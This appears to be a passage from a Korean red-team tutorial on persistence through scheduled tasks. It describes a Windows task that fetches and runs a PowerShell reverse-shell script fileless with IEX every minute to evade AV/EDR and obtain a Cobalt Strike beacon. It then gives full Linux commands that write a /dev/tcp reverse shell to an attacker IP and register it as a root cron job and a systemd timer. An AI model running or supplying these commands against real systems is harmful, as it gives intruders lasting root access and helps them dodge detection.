만약 코발트 스트라이크를 사용중일 경우 아래와 같이 웹 경로에 파워쉘 페이로드를 삽입하면 됩니다.
이제 웹 서버에 접속하여 파워쉘 스크립트를 읽고 실행하도록 하는 스케줄을 생성해야 합니다. 파워쉘 명령 중 IEX는 파일리스 방식으로 AV/EDR 탐지를 회피하기 위한 방법 중 하나입니다. 아래는 공격자 웹 서버에 접속하여 Reverse.ps1 파일을 읽고 실행하는 작업을 작업 스케줄로 등록하는 코드입니다.
명령어를 입력 후에는 작업 스케줄러가 정상적으로 등록된 것을 확인할 수 있습니다. 작업 스케줄은 1분마다 웹 서버에 접속하여 파워쉘을 실행하도록 되어있어 잠시 기다리면 리버스쉘이 획득됩니다. 코발트 스트라이크에서 웹 서버를 열어 파워쉘 파일을 다운받도록 했다면 비콘 연결이 확인될 것입니다.
Linux 환경에서는 crontab과시스템 타이머를 이용한 스케줄 등록이 가능합니다.
Cron
# 리버스 쉘 코드 입력 및 권한부여
echo - e '#!/bin/bash\nsh -i >& /dev/tcp/<Attacker IP>/<Attacker Port> 0>&1' > rev.sh
chmod +x rev.sh
# 크론 스케줄러에 등록
echo '* * * * * root <PATH>' >> /etc/crontab
# 크론 스케줄이 정상적으로 실행되는지 확인
tail -f /var/log/syslog | grep CRON
Systemed Timer
# Systemd 파일에 서비스 등록 및 권한 부여
echo -e '[Service]\nExecStart=/bin/bash <PATH>' > /etc/systemd/system/rev.service
chmod +x rev.sh
# 시스템을 실행하는 주기를 매분 00초로 설정
echo -e '[Timer]\nOnCalendar=*-*-* *:*:00\nPersistent=true\n[Install]\nWantedBy=timers.target' > /etc/systemd/system/rev.timer
# 데몬 재기동 및 타이머 활성화
systemctl daemon-reload
systemctl enable --now rev.timer
# 등록된 타이머 리스트로 확인
systemctl list-timers